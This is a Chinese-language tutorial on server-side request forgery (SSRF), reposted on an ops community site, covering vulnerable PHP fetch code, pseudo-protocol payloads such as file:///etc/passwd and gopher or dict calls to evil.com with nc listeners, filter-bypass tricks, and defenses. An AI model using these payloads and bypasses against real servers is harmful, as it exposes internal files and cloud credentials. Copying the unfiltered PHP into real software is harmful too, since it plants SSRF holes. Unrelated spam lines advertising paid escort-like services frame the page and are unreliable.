400块钱3小时上门服务,同城附近人100米,怎么找同城的人服务,夜场女都是为了钱吗

    <strike id="t98gp"></strike>

    1. <code id="t98gp"></code>

      <nav id="t98gp"></nav>
    2. <object id="t98gp"></object>
      首頁 網絡安全SSRF漏洞原理攻擊與防御(超詳細總結)

      SSRF漏洞原理攻擊與防御(超詳細總結)

      運維派隸屬馬哥教育旗下專業運維社區,是國內成立最早的IT運維技術社區,歡迎關注公眾號:yunweipai
      領取學習更多免費Linux云計算、Python、Docker、K8s教程關注公眾號:馬哥linux運維

      提示:以下是本篇文章正文內容,下面案例可供參考

      一、SSRF是什么?

      SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)

      二、SSRF漏洞原理

      SSRF 形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。

      SSRF漏洞原理攻擊與防御(超詳細總結)插圖

      比如,黑客操作服務端從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。利用的是服務端的請求偽造。ssrf是利用存在缺陷的web應用作為代理攻擊遠程和本地的服務器

      三、SSRF漏洞挖掘

      1、分享:通過URL地址分享網頁內容

      SSRF漏洞原理攻擊與防御(超詳細總結)插圖1

      2、轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機屏幕瀏覽:由于手機屏幕大小的關系,直接瀏覽網頁內容的時候會造成許多不便,因此有些公司提供了轉碼功能,把網頁內容通過相關手段轉為適合手機屏幕瀏覽的樣式。例如百度、騰訊、搜狗等公司都有提供在線轉碼服務。

      3、在線翻譯:通過URL地址翻譯對應文本的內容。提供此功能的國內公司有百度、有道等。

      SSRF漏洞原理攻擊與防御(超詳細總結)插圖2

      4、圖片、文章收藏功能:此處的圖片、文章收藏中的文章收藏就類似于分享功能中獲取URL地址中title以及文本的內容作為顯示,目的還是為了更好的用戶體驗,而圖片收藏就類似于功能四、圖片加載。

      http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de

      例如title參數是文章的標題地址,代表了一個文章的地址鏈接,請求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此種形式保存文章,則在沒有限制參數的形式下可能存在SSRF。

      5、未公開的api實現以及其他調用URL的功能:此處類似的功能有360提供的網站評分,以及有些網站通過api獲取遠程地址xml文件來加載內容。

      SSRF漏洞原理攻擊與防御(超詳細總結)插圖3

      6、圖片加載與下載:通過URL地址加載或下載圖片,圖片加載遠程圖片地址此功能用到的地方很多,但大多都是比較隱秘,比如在有些公司中的加載自家圖片服務器上的圖片用于展示。

      (此處可能會有人有疑問,為什么加載圖片服務器上的圖片也會有問題,直接使用img標簽不就好了?沒錯是這樣,但是開發者為了有更好的用戶體驗通常對圖片做些微小調整例水印、壓縮等所以就可能造成SSRF問題)。

      7、從URL關鍵字中尋找

      利用google 語法加上這些關鍵字去尋找SSRF漏洞

      share
      wap
      url
      link
      src
      source
      target
      u
      display
      sourceURl
      imageURL
      domain

      簡單來說:所有目標服務器會從自身發起請求的功能點,且我們可以控制地址的參數,都可能造成SSRF漏洞

      四、產生SSRF漏洞的函數

      SSRF攻擊可能存在任何語言編寫的應用,接下來將舉例php中可能存在SSRF漏洞的函數。

      1、file_get_contents:

      下面的代碼使用file_get_contents函數從用戶指定的url獲取圖片。然后把它用一個隨即文件名保存在硬盤上,并展示給用戶。

      <?php
      if (isset($_POST['url'])) 
      { 
      $content = file_get_contents($_POST['url']); 
      $filename ='./images/'.rand().';img1.jpg'; 
      file_put_contents($filename, $content); 
      echo $_POST['url']; 
      $img = "<img src=\"".$filename."\"/>"; 
      } 
      echo $img; 
      ?>

      2、sockopen():

      以下代碼使用fsockopen函數實現獲取用戶制定url的數據(文件或者html)。這個函數會使用socket跟服務器建立tcp連接,傳輸原始數據。

      
      <?php 
      function GetFile($host,$port,$link) 
      { 
      $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
      if (!$fp) { 
      echo "$errstr (error number $errno) \n"; 
      } else { 
      $out = "GET $link HTTP/1.1\r\n"; 
      $out .= "Host: $host\r\n"; 
      $out .= "Connection: Close\r\n\r\n"; 
      $out .= "\r\n"; 
      fwrite($fp, $out); 
      $contents=''; 
      while (!feof($fp)) { 
      $contents.= fgets($fp, 1024); 
      } 
      fclose($fp); 
      return $contents; 
      } 
      }
      ?>

      3、curl_exec():

      cURL這是另一個非常常見的實現,它通過 PHP獲取數據。文件/數據被下載并存儲在“curled”文件夾下的磁盤中,并附加了一個隨機數和“.txt”文件擴展名。

      
      <?php
      if (isset($_POST['url']))
      {
      $link = $_POST['url'];
      $curlobj = curl_init();
      curl_setopt($curlobj, CURLOPT_POST, 0);
      curl_setopt($curlobj,CURLOPT_URL,$link);
      curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
      $result=curl_exec($curlobj);
      curl_close($curlobj);
      
      $filename = './curled/'.rand().'.txt';
      file_put_contents($filename, $result); 
      echo $result;
      }
      ?>

      注意事項

      
      一般情況下PHP不會開啟fopen的gopher wrapper
      file_get_contents的gopher協議不能URL編碼
      file_get_contents關于Gopher的302跳轉會出現bug,導致利用失敗
      curl/libcurl 7.43 上gopher協議存在bug(%00截斷) 經測試7.49 可用
      curl_exec() 默認不跟蹤跳轉,
      file_get_contents() file_get_contents支持php://input協議

      五、SSRF中URL的偽協議

      當我們發現SSRF漏洞后,首先要做的事情就是測試所有可用的URL偽協議

      file:/// 從文件系統中獲取文件內容,如,file:///etc/passwd

      dict:// 字典服務器協議,訪問字典資源,如,dict:///ip:6739/info:

      sftp:// SSH文件傳輸協議或安全文件傳輸協議

      ldap:// 輕量級目錄訪問協議

      tftp:// 簡單文件傳輸協議

      gopher:// 分布式文檔傳遞服務,可使用gopherus生成payload

      1、file

      這種URL Schema可以嘗試從文件系統中獲取文件:

      http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini

      如果該服務器阻止對外部站點發送HTTP請求,或啟用了白名單防護機制,只需使用如下所示的URL Schema就可以繞過這些限制:

      2、dict

      這種URL Scheme能夠引用允許通過DICT協議使用的定義或單詞列表:

      http://example.com/ssrf.php?dict://evil.com:1337/

      evil.com:$ nc -lvp 1337

      Connection from [192.168.0.12] port 1337[tcp/*]

      accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

      3、sftp

      在這里,Sftp代表SSH文件傳輸協議(SSH File Transfer Protocol),或安全文件傳輸協議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨協議,它運行在安全連接上,并以類似的方式進行工作。

      http://example.com/ssrf.php?url=sftp://evil.com:1337/

      evil.com:$ nc -lvp 1337

      Connection from [192.168.0.12] port 1337[tcp/*]

      accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

      4、ldap://或ldaps:// 或ldapi://

      LDAP代表輕量級目錄訪問協議。它是IP網絡上的一種用于管理和訪問分布式目錄信息服務的應用程序協議。

      http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

      5、tftp://

      TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一種簡單的基于lockstep機制的文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件上傳至遠程主機。

      http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

      evil.com:# nc -lvup 1337

      Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

      6、gopher://

      Gopher是一種分布式文檔傳遞服務。利用該服務,用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。

      http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header(‘Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest’);?>

      evil.com:# nc -lvp 1337

      Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

      六、SSRF漏洞利用(危害)

      1.可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的banner信息;

      2.攻擊運行在內網或本地的應用程序(比如溢出);

      3.對內網web應用進行指紋識別,通過訪問默認文件實現;

      4.攻擊內外網的web應用,主要是使用get參數就可以實現的攻擊(比如struts2,sqli等);

      5.利用file協議讀取本地文件等。.

      6.各個協議調用探針:http,file,dict,ftp,gopher等

      http:192.168.64.144/phpmyadmin/

      file:///D:/www.txt

      dict://192.168.64.144:3306/info

      ftp://192.168.64.144:21

      七、SSRF繞過方式

      部分存在漏洞,或者可能產生SSRF的功能中做了白名單或者黑名單的處理,來達到阻止對內網服務和資源的攻擊和訪問。因此想要達到SSRF的攻擊,需要對請求的參數地址做相關的繞過處理,常見的繞過方式如下:

      一、常見的繞過方式

      1、限制為http://www.xxx.com 域名時(利用@)

      可以嘗試采用http基本身份認證的方式繞過

      如:http://www.aaa.com@www.bbb.com@www.ccc.com,在對@解析域名中,不同的處理函數存在處理差異

      在PHP的parse_url中會識別www.ccc.com,而libcurl則識別為www.bbb.com。

      2.采用短網址繞過

      比如百度短地址https://dwz.cn/

      3.采用進制轉換

      127.0.0.1八進制:0177.0.0.1。十六進制:0x7f.0.0.1。十進制:2130706433.

      SSRF漏洞原理攻擊與防御(超詳細總結)插圖4

      4.利用特殊域名

      原理是DNS解析。xip.io可以指向任意域名,即
      127.0.0.1.xip.io,可解析為127.0.0.1
      (xip.io 現在好像用不了了,可以找找其他的)

      5.利用[::]

      可以利用[::]來繞過localhost
      http://169.254.169.254>>http://[::169.254.169.254]

      6.利用句號

      127。0。0。1 >>> 127.0.0.1

      7、CRLF 編碼繞過

      %0d->0x0d->\r回車
      %0a->0x0a->\n換行
      進行HTTP頭部注入

      example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a 

      8.利用封閉的字母數字

      利用Enclosed alphanumerics

      ???????.??? >>> example.com

      http://169.254.169.254>>>http://[::①⑥⑨?②⑤④??⑨?②⑤④]

      List:

      ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?

      ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇

      ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛

      ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

      ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

      ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

      ? ? ? ? ? ? ? ? ? ? ?

      ? ? ? ? ? ? ? ? ? ? ?

      二、常見限制

      1.限制為http://www.xxx.com 域名

      采用http基本身份認證的方式繞過,即@
      http://www.xxx.com@www.xxc.com

      2.限制請求IP不為內網地址

      當不允許ip為內網地址時:
      (1)采取短網址繞過
      (2)采取特殊域名
      (3)采取進制轉換

      3.限制請求只為http協議

      (1)采取302跳轉
      (2)采取短地址

      八、SSRF漏防御

      通常有以下5個思路:

      1,過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。

      2, 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態。

      3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。

      4,黑名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網。

      5,禁用不需要的協議。僅僅允許http和https請求??梢苑乐诡愃朴趂ile:///,gopher://,ftp:// 等引起的問題。

      版權聲明:本文為CSDN博主「零點敲代碼」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。原文鏈接:https://blog.csdn.net/qq_43378996/article/details/124050308

      本文鏈接:http://www.605748.com/42699.html

      網友評論comments

      發表評論

      您的電子郵箱地址不會被公開。

      暫無評論

      Copyright ? 2012-2022 YUNWEIPAI.COM - 運維派 京ICP備16064699號-6
      掃二維碼
      掃二維碼
      返回頂部
      400块钱3小时上门服务,同城附近人100米,怎么找同城的人服务,夜场女都是为了钱吗